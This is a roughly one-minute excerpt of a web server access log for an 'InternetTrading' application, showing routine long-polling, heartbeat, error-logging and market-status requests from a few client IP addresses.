[09/Jan/2026:15:36:50 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944480706 HTTP/1.1" -
[09/Jan/2026:15:36:53 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944482882 HTTP/1.1" -
[09/Jan/2026:15:36:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944483284 HTTP/1.1" -
[09/Jan/2026:15:36:54 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944499026 HTTP/1.1" -
[09/Jan/2026:15:36:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944483283 HTTP/1.1" -
[09/Jan/2026:15:36:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944485731 HTTP/1.1" -
[09/Jan/2026:15:36:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:36:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:36:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:36:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:36:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:36:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:36:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944488304 HTTP/1.1" -
[09/Jan/2026:15:36:59 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944488886 HTTP/1.1" -
[09/Jan/2026:15:36:59 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944504050 HTTP/1.1" -
[09/Jan/2026:15:36:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944488478 HTTP/1.1" -
[09/Jan/2026:15:37:00 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:37:00 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:37:00 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944490775 HTTP/1.1" -
[09/Jan/2026:15:37:00 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:37:01 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:37:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:37:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:37:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944493329 HTTP/1.1" -
[09/Jan/2026:15:37:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944509073 HTTP/1.1" -
[09/Jan/2026:15:37:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944493525 HTTP/1.1" -
[09/Jan/2026:15:37:05 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944494890 HTTP/1.1" -
[09/Jan/2026:15:37:05 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944495804 HTTP/1.1" -
[09/Jan/2026:15:37:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:37:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:37:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:37:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:37:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944498375 HTTP/1.1" -
[09/Jan/2026:15:37:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944514139 HTTP/1.1" -
[09/Jan/2026:15:37:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944498678 HTTP/1.1" -
[09/Jan/2026:15:37:10 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944500842 HTTP/1.1" -
[09/Jan/2026:15:37:10 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944500883 HTTP/1.1" -
[09/Jan/2026:15:37:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:37:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:37:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:37:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:37:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944503408 HTTP/1.1" -
[09/Jan/2026:15:37:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944519203 HTTP/1.1" -
[09/Jan/2026:15:37:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944503725 HTTP/1.1" -
[09/Jan/2026:15:37:15 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944505868 HTTP/1.1" -
[09/Jan/2026:15:37:17 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944506893 HTTP/1.1" -
[09/Jan/2026:15:37:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944508453 HTTP/1.1" -
[09/Jan/2026:15:37:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944524231 HTTP/1.1" -
[09/Jan/2026:15:37:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944508855 HTTP/1.1" -
[09/Jan/2026:15:37:21 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944510911 HTTP/1.1" -
[09/Jan/2026:15:37:23 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944512893 HTTP/1.1" -
[09/Jan/2026:15:37:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944513499 HTTP/1.1" -
[09/Jan/2026:15:37:24 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944529298 HTTP/1.1" -
[09/Jan/2026:15:37:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944513979 HTTP/1.1" -
[09/Jan/2026:15:37:26 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944515949 HTTP/1.1" -
[09/Jan/2026:15:37:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:37:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:37:27 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:37:27 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:37:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:37:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:37:28 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944518885 HTTP/1.1" -
[09/Jan/2026:15:37:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944518554 HTTP/1.1" -
[09/Jan/2026:15:37:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944534357 HTTP/1.1" -
[09/Jan/2026:15:37:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944519135 HTTP/1.1" -
[09/Jan/2026:15:37:31 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944520986 HTTP/1.1" -
[09/Jan/2026:15:37:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:37:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:37:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944523574 HTTP/1.1" -
[09/Jan/2026:15:37:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944539409 HTTP/1.1" -
[09/Jan/2026:15:37:34 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944524883 HTTP/1.1" -
[09/Jan/2026:15:37:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944524197 HTTP/1.1" -
[09/Jan/2026:15:37:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:37:36 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944526012 HTTP/1.1" -
[09/Jan/2026:15:37:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:37:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:37:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:37:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944528617 HTTP/1.1" -
[09/Jan/2026:15:37:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944544480 HTTP/1.1" -
[09/Jan/2026:15:37:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944529345 HTTP/1.1" -
[09/Jan/2026:15:37:41 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944530881 HTTP/1.1" -
[09/Jan/2026:15:37:41 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944531052 HTTP/1.1" -
[09/Jan/2026:15:37:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:37:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:37:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:37:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:37:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944533640 HTTP/1.1" -
[09/Jan/2026:15:37:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944549507 HTTP/1.1" -
[09/Jan/2026:15:37:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944534406 HTTP/1.1" -
[09/Jan/2026:15:37:46 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944536086 HTTP/1.1" -
[09/Jan/2026:15:37:47 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944536889 HTTP/1.1" -
[09/Jan/2026:15:37:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944538673 HTTP/1.1" -
[09/Jan/2026:15:37:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767944554532 HTTP/1.1" -
